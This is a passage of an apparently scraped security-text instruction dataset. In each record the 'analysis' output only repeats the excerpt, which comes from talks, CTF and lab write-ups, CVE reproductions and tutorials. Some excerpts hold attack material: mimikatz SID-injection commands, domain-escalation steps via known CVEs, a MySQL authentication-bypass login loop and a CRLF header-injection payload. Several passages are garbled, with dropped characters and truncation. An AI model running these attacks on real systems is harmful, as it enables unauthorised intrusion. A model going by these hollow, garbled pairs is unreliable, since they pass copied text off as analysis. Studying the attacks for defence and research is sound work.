https://github.com/JackOfMostTrades/gadgetinspector [5] https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer [6] https://github.com/github/codeql 痛点 1. 分析成本高中间的分析结果不可重用 2. 可定制化能力差 痛点 1. 漏报率高审计不全面 2. 工具输出结果繁多误报率高 现阶段最优解 为什么要有tabby 面向的场景 CodeQL面向的是甲方场景可以直接更根据源码进行分析 Tabby面向的是安全研究人员可以对编译后的项目进行分析 支持的漏洞类型 CodeQL很难支持Java反序列化利用链的挖掘 Tabby可以对项目三方组件jdk组件进行利用链的挖掘 定位Java安全研究人员代码审计的辅助工 具 1. 定位图空间中的对象函数 2. 聚焦可能存在问题的漏洞链路 3. 枚举类似路径的漏洞 时间 Tabby方案实现时间在2020年左右CodeQL当时只提供了线上体验 又没有好用的同类工具那就自己造个轮子 tabby 构架 标提取器 Target Extractor 语义提取器 Semantic Extractor 污点分析引擎 Taint Analysis Engine 代码属性图构建器 CPG Constructor WarJarJspClass 内存数据 1. 类空间 2. 函数空间 3. 污点分析中间数据 面向Java语言的代码属性图 贯 穿 构 建 流 程 目标提取器 Target Extractor 目标提取器 针对不同情况的目标文件完整抽取所 有待分析的对象 1. Jsp文件采用tomcat-jasper动态编译 2. War文件采用解压缩的方式抽取 3. fatJar文件采用解压缩方式抽取 另外jdk依赖可额外添加到分析目标中 语义提取器 Semantic Extractor 语义提取器 在进行语义分析前语义提取器将待分析 目标的语义信息抽取成语义空间 1. 类空间包含全量对象语义节点 2. 函数空间包含全量函数语义节点 至此我们获得了包含全量节点的语义空 间但每个节点之间仍是孤立状态 代码属性图构建器 CPG Constructor 代码属性图构建器 代码属性图构建器主要用于连接语 义空间中各个孤立的节点将其转 化为一张具备分析能力的语义图 面向Java语言的代码属性图共包含 1. 类关系图 ORG 2. 函数别名图 MAG 3. 函数调用图 MCG 4. 精确的函数调用图 PCG 可选 存在实体节点 1. Class 节点 2. Method 节点 存在5种实体边 1. Has边 2. Interface边 3. Extends边 4. Alias边 5. Call边 [1] Martin M, Livshits B, Lam M S. Finding application errors and security flaws using PQL: a program query language[J]. Acm Sigplan Notices, 2005, 40(10): 365-383. [2] Yamaguchi F, Golde N, Arp D", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDNS - Devious Name Services Destroying Privacy & Anonymity Without Your Consent Jim Nitterauer Senior Security Specialist Disclaimer Information disclosed in this presentation is intended to help improve your security & privacy posture and should not be used for unethical purposes The concepts presented are in no way meant to imply original research on my part or on the part of my employer Information presented here is gathered from public and private sources with proper references and credit provided where applicable The views expressed in this talk are not necessarily the views of my employer Why Am I here? http://bestvpnprovider.co/wp-content/uploads/2015/01/VPN-Blocked-in-China-The-Great-Firewall-Strikes-Again.png Why Am I here? Agenda Review DNS, EDNS0 extensions and Option Codes Discuss the Rationale for EDNS0 Use Examine EDNS Client Subnet (ECS) Review DNS Resolver Support Examine Tools & Procedures for Testing Discuss Privacy Implications of EDNS0 OPT Codes Discuss Potential for Abuse Questions & answers Goals for Today Understand the basics about EDNS OPT RRs Understand the potential threat to your privacy Have direction for detecting the use of EDNS OPTs Be able to better insure your online privacy Brief History of DNS Brief History of DNS Introduced in 1983 by Paul Mockapetris & Jon Postel Information Sciences Institute USC RFC 882 & RFC 883 both updated by RFC 973 in 1986 Obsoleted by two RFCs in 1987 RFC 1034 Describes the data structure and exchange of data RFC 1035 Describes record and infrastructure format Brief History of DNS Distributed database Main components Namespace Resource Records (RRs) Resolvers Name Servers Brief History of DNS Defining Master (Primary) / Slave (Secondary) relationship Adding Notify Adding IXFR (Incremental Zone Transfers) Improved DNS by Image from https://technet.microsoft.com/en-us/library/bb962069.tcpipm09_big(l=en-us).gif Brief History of DNS Implementing Dynamic Updates RFC 2136 Adding Extension Mechan", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n前: 由于本次靶场环境L.N.前辈给的权限是直接在内的权限所以缺少了实战中最艰难且必不可少的 环那就是点的获取以下wp是模拟实战中vpn配置件泄漏导致内沦陷的过程 1点 模拟vpn配置件泄漏连接后发现分配ip如下 然后我们尝试扫描10.10.0/16段的常规端和banner以及些常漏洞 发现简易脆弱点如下 10.10.22.161 windows rpc调可能存在ssrf 配合401中继 10.10.24.52存在sql注以及main.php件任意写 10.10.22.44 ajp 10.10.22.67 17010 03 x86 10.10.26.151 ajp 最终选择攻击最简单的 通过fb成功上线2003server 然后fgdump抓取03hash 密码没有可以解密成功的 (注意收集本地管理hash和guacadmin的hash) 此时的思路(1收集到的密码枚举个域内户后 利CVE-2021-1675或者CVE-2021-34527直 接打dc 或者看看有可打的资源委派 2尝试1472漏洞 3GPP) 2golden.eagle.banking 通过kerbrute.exe对收集到的户名和密码进枚举--未能枚举成功 然后发现能通过1472拿下域dc后发现发现与域存在双向信任关系 3eagle.banking 然后通过sid::add (参考https://mp.weixin.qq.com/s/OHbFhqyLQlx5W2W40PRoLg和haya前辈的 Mimikatz那些鲜为知的功能-1 ) 获取到根域权限由于USINFDC21.eagle.banking不出 所以通过link上线 4 island.banking island与eagle内传信任 思路1:枚举上两个域的户 kerbrute.exe userenum --dc 10.10.26.11 -d island.banking c:\\programdata\\user.txt 结果个户都没有 1 \"\"privilege::debug\"\" \"\"sid::patch\"\" \"\"sid::add /sid:S-1-5-21-1836858824-13935542 思路2:通过前期收集的guacadmin打机器(这只guacadmin是因为渗透过程中发现了每台机器的本 地administrator密码都不同) 思路3:-->尝试GPP 并未发现敏感xml件 思路4:由于是内传信任尝试eagle认证去打island 的打印机 成功拿下island 由于靶标是融敏感数据,刚好员域的domain group 存在财务数据组 此时可以通过UserEvenHunter 或者拖dc 4624志去查看此户组的户平时登陆的机器 这我是拖域志如下发现多个户都是登陆的BFINFFL44这台机器 但是发现这台机器有df最终bypass上线后发现此机器应该为融组的员共享作机器 最后附上此次络top图", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents A New Trend for the Blue Team Using a Practical Symbolic Engine to Detect Evasive Forms of Malware/Ransomware Hank Chen Sheng-Hao Ma Mars Cheng @hank0438 @aaaddress1 @marscheng_ TXOne Networks Inc. #BHUSA @BlackHatEvents Who are we? Hank Chen Sheng-Hao Ma Mars Cheng Manager PSIRT and Threat Research Threat Researcher PSIRT and Threat Research Threat Researcher PSIRT and Threat Research Spoke at Black Hat, RSA Conference, DEFCON, SecTor, FIRST, HITB, ICS Cyber Security Conference, HITCON, SINCON, CYBERSEC, and CLOUDSEC Instructor of CCoE Taiwan, Ministry of National Defense, Ministry of Education, Ministry of Economic Affairs and etc. General Coordinator of HITCON 2022 and 2021 Vice General Coordinator of HITCON 2020 Spoke at Black Hat, DEFCON, HITB, VXCON, HITCON, ROOTCON, and CYBERSEC Instructor of CCoE Taiwan, Ministry of National Defense, Ministry of Education, and etc. The author of the popular security book \"Windows APT Warfare: The Definitive Guide for Malware Researchers\" Spoke at FIRST Conference in 2022 Instructor of Ministry of National Defense Teaching assistant of Cryptography and Information Security Course in Taiwan NTHU and CCoE Taiwan Member of CTF team 10sec and TSJ #BHUSA @BlackHatEvents Outline Introduction Threat Overview The Difficult Problem of Static/Dynamic Malware Detection and Classification Deep Dive into Our Practical Symbolic Engine Related Work Our Practical Symbolic Engine Demonstration CRC32 & DLL ReflectiveLoader Process Hollowing Ransomware Detection Future Works and Closing Remarks #BHUSA @BlackHatEvents Outline Introduction Threat Overview The Difficult Problem of Static/Dynamic Malware Detection and Classification Deep Dive into Our Practical Symbolic Engine Related Work Our Practical Symbolic Engine Demonstration CRC32 & DLL ReflectiveLoader Process Hollowing Ransomware Detection Future Works and Closing Remarks #BHUSA @BlackHatEvents Threat Overview Malware Type Virus Adwa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Mysql 身份认证绕过漏洞CVE-2012-2122 当连接MariaDB/MySQL时输入的密码会与期望的正确密码比较由于不正确的处理会导致即便是memcmp()返回一个非零值也会使MySQL认为两个密码是相同的也就是说只要知道用户名不断尝试就能够直接登入SQL数据库 受影响版本 - MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. - MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. 参考链接 - http://www.freebuf.com/vuls/3815.html - https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/ ## 环境搭建 经过测试本环境虽然运行在容器内部但漏洞是否能够复现仍然与宿主机有一定关系宿主机最好选择Ubuntu或Mac系统但也不知道是否一定能够成功欢迎在Issue中提交更多测试结果 执行如下命令启动测试环境 ``` docker compose up -d ``` 环境启动后将启动一个Mysql服务版本5.5.23监听3306端口通过正常的Mysql客户端可以直接登录的正确root密码是123456 ## 漏洞验证 在不知道我们环境正确密码的情况下在bash下运行如下命令在一定数量尝试后便可成功登录 ```bash for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done ``` ![](1.png) 更多测试和利用方法见参考链接", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNIST Special Publication NIST SP 800-161r1 Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations Jon Boyens Angela Smith Nadya Bartol Kris Winkler Alex Holbrook Matthew Fallon This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-161r1 NIST Special Publication NIST SP 800-161r1 Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations Jon Boyens Angela Smith Computer Security Division Information Technology Laboratory Nadya Bartol Kris Winkler Alex Holbrook Matthew Fallon Boston Consulting Group This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-161r1 May 2022 U.S. Department of Commerce Gina M. Raimondo, Secretary National Institute of Standards and Technology Laurie E. Locascio, NIST Director and Undersecretary of Commerce for Standards and Technology i Authority This publication has been developed by NIST in accordance with its statutory responsibilities under the Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. 3551 et seq., Public Law (P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal information systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a v", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Cr4ckZ33C0d3 Reversing, 466 points ## Description: A binary was attached, as well as a server address. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/Cr4ckZ33C0d3# ./prodkey Please Enter a product key to continue: test Key was too short 5. ``` So we'll have to provide some product key in order to get the flag. Let's check out the decompiled C source using ghidra: ```c undefined8 main(void) { ulong uVar1; FILE *__stream; long in_FS_OFFSET; char user_key [32]; char local_78 [104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts(\"\\nPlease Enter a product key to continue: \"); fgets(user_key,30,stdin); uVar1 = verify_key(user_key); if ((char)uVar1 != 0) { __stream = fopen(\"flag.txt\",\"r\"); if (__stream == (FILE *)0x0) { puts(\"Too bad the flag is only on the remote server!\"); } else { fgets(local_78,100,__stream); printf(\"%s\",local_78); } } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } ulong verify_key(char *user_key) { uint uVar1; size_t key_len; size_t sVar2; undefined8 uVar3; ulong uVar4; key_len = strlen(user_key); if (28 < key_len) { uVar3 = check_01((long)user_key); if ((((((char)uVar3 == 0) || (uVar3 = check_02((long)user_key), (char)uVar3 == 0)) || (uVar3 = check_03((long)user_key), (char)uVar3 == 0)) || (((uVar4 = check_04((long)user_key), (char)uVar4 == 0 || (uVar4 = check_05((long)user_key), (char)uVar4 == 0)) || ((uVar4 = check_06((long)user_key), (char)uVar4 == 0 || ((uVar4 = check_07((long)user_key), (char)uVar4 == 0 || (uVar4 = check_08((long)user_key), (char)uVar4 == 0)))))))) || ((uVar4 = check_09((long)user_key), (char)uVar4 == 0 || (((((uVar4 = check_0A((long)user_key), (char)uVar4 == 0 || (uVar3 = check_0B((long)user_key), (char)uVar3 == 0)) || (uVar4 = check_0C((long)user_key), (char)uVar4 == 0)) || ((uVar4 = check_0D((long)user_key), (char)uVar4 == 0 || (uVar4 = check_0E((long)user_key), (char)uVar4 == 0)))) || (uVar4 = check_0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CRLF注入 ```java package com.example.controller; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class UserController { @RequestMapping(value = \"/crlf\") public ResponseEntity example(@RequestParam(\"name\") String name) { String message = \"Hello, \" + name; HttpHeaders headers = new HttpHeaders(); headers.set(\"Location\", \"https://example.com\"); headers.set(\"test\",name); return new ResponseEntity<>(message, headers, HttpStatus.OK); } } ``` ```sh GET /crlf?name=%0d%0aSet-Cookie:%20sessionid=123456 HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![image-20230314161742162](../../.gitbook/assets/image-20230314161742162.png) 修复代码 ```java package com.example.controller; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.util.UriUtils; import java.nio.charset.StandardCharsets; @RestController public class UserController { @RequestMapping(value = \"/crlf\") public ResponseEntity example(@RequestParam(\"name\") String name) { String encodedName = UriUtils.encode(name, StandardCharsets.UTF_8); String message = \"Hello, \" + encodedName; HttpHeaders headers = new HttpHeaders(); headers.set(\"Location\", \"https://example.com\"); headers.set(\"test\",encodedName); return new ResponseEntity<>(message, headers, HttpStatus.OK); } } ``` ![image-20230314161849070](../../.gitbook/assets/image-20230314161849070.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2012 Presented by: Pwning you(r) cyber offenders Piotr Duszynski @drk1wi 2012 ;WHOAMI;#? Senior Security Consultant @Trustwave OSCP, OSCE, CEH In security field for the past 6 years, hacking since 9 Enjoys security research, crazy road trips, mojitos and good music Regardless of this slide title tries not to be too nerdy 2 2012 What is this presentation about? New defensive technique that renders your port scan results useless WOOT New attack vectors against you(r) attackers offensive toolbox WOOT WOOT Short introduction to a tool called: Portspoof. PWNage POC DEMO for one of the well known port scanners. 3 Active (Offensive) defense in practice 2012 2012 Blind attackers tools The art of Annoyance and Camouflage 2012 Destroying the reconnaissance phase Typical case scenario ( a target system is behind a Firewall ) 5 $ nmap sV -O demo.addr.pl 2012 Portspoof implementation of the idea 6 GOAL: make your attackers port scanning experience a real pain Worst possible scenario: All 65535 ports are open *Portspoof will bind to a single port On every open port there is a service listening *Portspoof will dynamically generate valid service signatures ~ 8000 supported Your task: Identify all real services on the remote system 2012 Rendering your port scan useless with Portspoof Worst case scenario (target system is behind the Portspoof) : 7 $ nmap sV p - -PN demo.addr.pl .you will need a lot of patience! 2012 Rendering your port scan useless 8 Scanning statistics: 65.535 open ports (services) ~120 MB of sent data 30682 s (8.5h) and few beers later 2012 Rendering your port scan useless NMAP OS identification results 9 $ nmap sV -O demo.addr.pl 2012 Rendering your port scan useless NMAP OS identification results: 10 Device type: general purpose Running (JUST GUESSING): Linux 3.X (93%) OS CPE: cpe:/o:linux:linux_kernel:3 Aggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 (85%) No exact OS matches for host (test conditions non-id", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCross-Platform Analysis of Indirect File Leaks in Android and iOS Applications Daoyuan Wu PhD Candidate at SMU HITCON Pacific17 Appified World 2 Pic source: https://www.hughesandco.com/native-mobile-apps-vs-web-apps/ Mobile Sandbox Pic source: http://hiqes.com/android-security-part-1/ Different threat model from the PC side 3 Direct File Leak Case: https://tinyurl.com/CVE-2011-1717 Reference: The SEAndroid paper in NDSS13. Once worked; but no longer with SEAndroid -rw-rw-rw- main.db -rw-rw-rw- shared.xml CVE-2011-1717 for SKype 4 $ getenforce Enforcing How to steal private app files within the protection of SEAndroid? Remote Adversary IFL: Indirect File Leak Deputy Component Local Adversary SEAndroid cannot check it Allowed by SEAndroid 6 Exploitable Deputy Components Deputy Components for IFLs Content Provider Browsing Interface Command Interpreter Embedded App Server 7 What is Android Content Provider? System providers: content://sms/ content://call_log/ content://browser/ bookmarks Apps own providers: content://qq.profile/ info content://qq.friend list/friendlist Android App Read/Write Interface 8 Data Content Provider IFL via Content Provider 9 1 2 10 http://www4.comp.polyu.edu.hk/~appsec/ Many Popular Apps were identified by us to be vulnerable (over 60 CVEs) 11 Spent a lot of efforts writing reports (now first released in HITCON17) https://github.com/daoyuan14/ContentProviderReports It all started with reading API document: I tested the first PoC on Mi Talk (米聊) In the end of Oct 2011 (tested on v2.1.280); We should make a good paper () as the 1st reporter. Story Behind 12 By default exported before Android 4.2 targetSdkVersion < 17 The major focus of this talk: IFL over Browsing Interface IFL via Browsing Interface What is browsing interface? Almost everywhere in popular apps: See next slide. 14 Facebooks Browsing Interface Twitters Browsing Interface WeChats Browsing Interface Whatsapps Browsing Interface Yahoo Mails Browsing Interface 15 IFL", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n指令型遠控軟體輕鬆談 指令型遠控軟體輕鬆談 簡報者 簡報者 Kelp Kelp kelp@phate.tw kelp@phate.tw PDF created with pdfFactory Pro trial version www.pdffactory.com 簡介 簡介 u u 了解指令型遠端操控軟體的基本架構 了解指令型遠端操控軟體的基本架構 PDF created with pdfFactory Pro trial version www.pdffactory.com 訓練大綱 訓練大綱 u u 單元 單元 11何謂遠控軟體 何謂遠控軟體 u u 單元 單元 22遠控軟體分析 遠控軟體分析 u u 單元 單元 33總結 總結 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 11何謂遠控軟體 何謂遠控軟體 u u 能夠控制遠端電腦的軟體都能稱為遠端操 能夠控制遠端電腦的軟體都能稱為遠端操 控軟體 控軟體 u u 遠控軟體大部分透過網路進行遠端電腦控 遠控軟體大部分透過網路進行遠端電腦控 制 制 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 11何謂遠控軟體 何謂遠控軟體 木馬 木馬 後門 後門 VNC VNC PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 如何連線 如何連線?? Server Client Socket() Socket() Bind() Listen() Accept() Read() Write() Connect() Write() Read() PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 如何連線 如何連線?? 反向連結 反向連結 一般木馬都使用這種連線方式 一般木馬都使用這種連線方式 正向連結 正向連結 遠端桌面就是用此方式連結 遠端桌面就是用此方式連結 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 如何連線 如何連線?? Servant Connect (反向) 載入物件&陣列 Master Connect (正向) 斷線 釋放物件&陣列 驗證密碼 載入Servant資料 成功建立連線 Pass PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 Master Servant 一對一進行操控 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 Master Servant Servant Servant Servant Servant Servant 同時控制多台電腦 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 Relay station Servant Servant Servant Servant Servant Servant Master PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 遠控軟體 一對一 一對多 遠端桌面VNC 一般遠控軟體 rootkit 灰鴿子 Evis PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 PDF created with pdfFactory Pro trial version www.pdffactory.com 單元 單元 22遠控軟體分析 遠控軟體分析 功能不夠 功能不夠?! ?! 功", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Mr-Robot1 下载地址 ``` https://download.vulnhub.com/mrrobot/mrRobot.ova ``` ## 实战操作 靶机扫描地址`192.168.32.169` ![image-20220715095522855](../../.gitbook/assets/image-20220715095522855.png) 对靶机进行端口扫描 ``` (rootkali)-[~/Desktop] # nmap -p1-65535 192.168.32.169 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:55 EDT Nmap scan report for 192.168.32.169 Host is up (0.00030s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:DC:72:F4 (VMware) Nmap done: 1 IP address (1 host up) scanned in 106.71 seconds ``` 访问80端口网站是动画 ![image-20220715095913509](../../.gitbook/assets/image-20220715095913509.png) 扫描80端口 ``` (rootkali)-[~/Desktop] # nikto -h http://192.168.32.169 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.169 + Target Hostname: 192.168.32.169 + Target Port: 80 + Start Time: 2022-07-14 21:58:32 (GMT-4) --------------------------------------------------------------------------- + Server: Apache + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in + Retrieved x-powered-by header: PHP/5.5.29 + No CGI Directories found (use '-C all' to force check all possible dirs) + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See htt + OSVDB-3092: /admin/: This might be interesting... + Uncommon header 'link' found, with contents: ; rel=shortlink + /wp-links-opml.php: This WordPress script reveals the installed version. + OSVDB-3092: /license.txt: License file found may identify site software. + /admin/index.html: Admin login page/section found. + Cookie wordpress_test_cookie created without the http", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 正则表达式 * [正则表达式](#正则表达式) * [一概述](#一概述) * [二匹配单个字符](#二匹配单个字符) * [三匹配一组字符](#三匹配一组字符) * [四使用元字符](#四使用元字符) * [五重复匹配](#五重复匹配) * [六位置匹配](#六位置匹配) * [七使用子表达式](#七使用子表达式) * [八回溯引用](#八回溯引用) * [九前后查找](#九前后查找) * [十嵌入条件](#十嵌入条件) * [参考资料](#参考资料) ## 一概述 正则表达式用于文本内容的查找和替换 正则表达式内置于其它语言或者软件产品中它本身不是一种语言或者软件 [正则表达式在线工具](https://regexr.com/) ## 二匹配单个字符 **.** 可以用来匹配任何的单个字符但是在绝大多数实现里面不能匹配换行符 **.** 是元字符表示它有特殊的含义而不是字符本身的含义如果需要匹配 . 那么要用 \\ 进行转义即在 . 前面加上 \\ 正则表达式一般是区分大小写的但也有些实现不区分 **正则表达式** ``` C.C2018 ``` **匹配结果** My name is **CyC2018** . ## 三匹配一组字符 **[ ]** 定义一个字符集合 0-9a-z 定义了一个字符区间区间使用 ASCII 码来确定字符区间在 [ ] 中使用 **-** 只有在 [ ] 之间才是元字符在 [ ] 之外就是一个普通字符 **** 在 [ ] 中是取非操作 **应用** 匹配以 abc 为开头并且最后一个字母不为数字的字符串 **正则表达式** ``` abc[0-9] ``` **匹配结果** 1. **abcd** 2. abc1 3. abc2 ## 四使用元字符 ### 匹配空白字符 | 元字符 | 说明 | | :---: | :---: | | [\\b] | 回退删除一个字符 | | \\f | 换页符 | | \\n | 换行符 | | \\r | 回车符 | | \\t | 制表符 | | \\v | 垂直制表符 | \\r\\n 是 Windows 中的文本行结束标签在 Unix/Linux 则是 \\n \\r\\n\\r\\n 可以匹配 Windows 下的空白行因为它匹配两个连续的行尾标签而这正是两条记录之间的空白行 ### 匹配特定的字符 #### 1. 数字元字符 | 元字符 | 说明 | | :---: | :---: | | \\d | 数字字符等价于 [0-9] | | \\D | 非数字字符等价于 [0-9] | #### 2. 字母数字元字符 | 元字符 | 说明 | | :---: | :---: | | \\w | 大小写字母下划线和数字等价于 [a-zA-Z0-9\\_] | | \\W | 对 \\w 取非 | #### 3. 空白字符元字符 | 元字符 | 说明 | | :---: | :---: | | \\s | 任何一个空白字符等价于 [\\f\\n\\r\\t\\v] | | \\S | 对 \\s 取非 | \\x 匹配十六进制字符\\0 匹配八进制例如 \\xA 对应值为 10 的 ASCII 字符 即 \\n ## 五重复匹配 - **\\+** 匹配 1 个或者多个字符 - **\\** * 匹配 0 个或者多个字符 - **?** 匹配 0 个或者 1 个字符 **应用** 匹配邮箱地址 **正则表达式** ``` [\\w.]+@\\w+\\.\\w+ ``` [\\w.] 匹配的是字母数字或者 . 在其后面加上 + 表示匹配多次在字符集合 [ ] 里. 不是元字符 **匹配结果** **abc.def\\@\\qq.com** - **{n}** 匹配 n 个字符 - **{m,n}** 匹配 m\\~n 个字符 - **{m,}** 至少匹配 m 个字符 \\* 和 + 都是贪婪型元字符会匹配尽可能多的内容在后面加 ? 可以转换为懒惰型元字符例如 \\*?+? 和 {m,n}? **正则表达式** ``` a.+c ``` **匹配结果** **abcabcabc** 由于 + 是贪婪型的因此 .+ 会匹配更可能多的内容所以会把整个 abcabcabc 文本都匹配而不是只匹配前面的 abc 文本用懒惰型可以实现匹配前面的 ## 六位置匹配 ### 单词边界 **\\b** 可以匹配一个单词的边界边界是指位于 \\w 和 \\W 之间的位置**\\B** 匹配一个不是单词边界的位置 \\b 只匹配位置不匹配字符因此 \\babc\\b 匹配出来的结果为 3 个字符 ### 字符串边界 **** 匹配整个字符串的开头**$** 匹配结尾 元", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Unicorn Engine简介 ## 什么是Unicorn引擎 Unicorn是一个轻量级, 多平台, 多架构的CPU模拟器框架. 我们可以更好地关注CPU操作, 忽略机器设备的差异. 想象一下, 我们可以将其应用于这些情景: 比如我们单纯只是需要模拟代码的执行而非需要一个真的CPU去完成那些操作, 又或者想要更安全地分析恶意代码, 检测病毒特征, 或者想要在逆向过程中验证某些代码的含义. 使用CPU模拟器可以很好地帮助我们提供便捷. 它的亮点(这也归功于Unicorn是基于[qemu](http://www.qemu.org)而开发的)有: * 支持多种架构: Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64). * 对Windows和*nix系统(已确认包含Mac OSX, Linux, *BSD & Solaris)的原生支持 * 具有平台独立且简洁易于使用的API * 使用JIT编译技术, 性能表现优异 你可以在[Black Hat USA 2015](http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf)获悉有关Unicorn引擎的更多技术细节. Github项目主页: [unicorn](https://github.com/unicorn-engine/unicorn) 尽管它不同寻常, 但它无法模拟整个程序或系统, 也不支持系统调用. 你需要手动映射内存并写入数据进去, 随后你才能从指定地址开始模拟. ## 应用的情景 什么时候能够用到Unicorn引擎呢? * 你可以调用恶意软件中一些有趣的函数, 而不用创建一个有害的进程. * 用于CTF竞赛 * 用于模糊测试 * 用于gdb插件, 基于代码模拟执行的插件 * 模拟执行一些混淆代码 ## 如何安装 安装Unicorn最简单的方式就是使用pip安装, 只要在命令行中运行以下命令即可(这是适合于喜爱用python的用户的安装方法, 对于那些想要使用C的用户, 则需要去官网查看文档编译源码包): ``` shell pip install unicorn ``` 但如果你想用源代码进行本地编译的话, 你需要在[下载](http://www.unicorn-engine.org/download/)页面中下载源代码包, 然后可以按照以下命令执行: * *nix 平台用户 ``` shell $ cd bindings/python $ sudo make install ``` * Windows平台用户 ``` shell cd bindings/python python setup.py install ``` 对于Windows, 在执行完上述命令后, 还需要将[下载](http://www.unicorn-engine.org/download/)页面的`Windows core engine`的所有dll文件复制到`C:\\locationtopython\\Lib\\site-packages\\unicorn`位置处. ## 使用unicorn的快速指南 我们将会展示如何使用python调用unicorn的api以及它是如何轻易地模拟二进制代码. 当然这里用的api仅是一小部分, 但对于入门已经足够了. ``` python 1 from __future__ import print_function 2 from unicorn import * 3 from unicorn.x86_const import * 4 5 # code to be emulated 6 X86_CODE32 = b\"\\x41\\x4a\" # INC ecx; DEC edx 7 8 # memory address where emulation starts 9 ADDRESS = 0x1000000 10 11 print(\"Emulate i386 code\") 12 try: 13 # Initialize emulator in X86-32bit mode 14 mu = Uc(UC_ARCH_X86, UC_MODE_32) 15 16 # map 2MB memory for this emulation 17 mu.mem_map(ADDRESS, 2 * 1024 * 1024) 18 19 # write machine code to be emulated to memory 20 mu.mem_write(ADDRESS, X86_CODE32) 21 22 # initialize machine registers ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHackingDojo.com HackingDojo.com Education Masters Degrees in Computer Security: Computer Science Management Author since 2007 Professional Penetration Testing Ninja Hacking Netcat Power Tools Penetration Testings Open Source Toolkit, V2 Certifications ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM HackingDojo.com Education The George 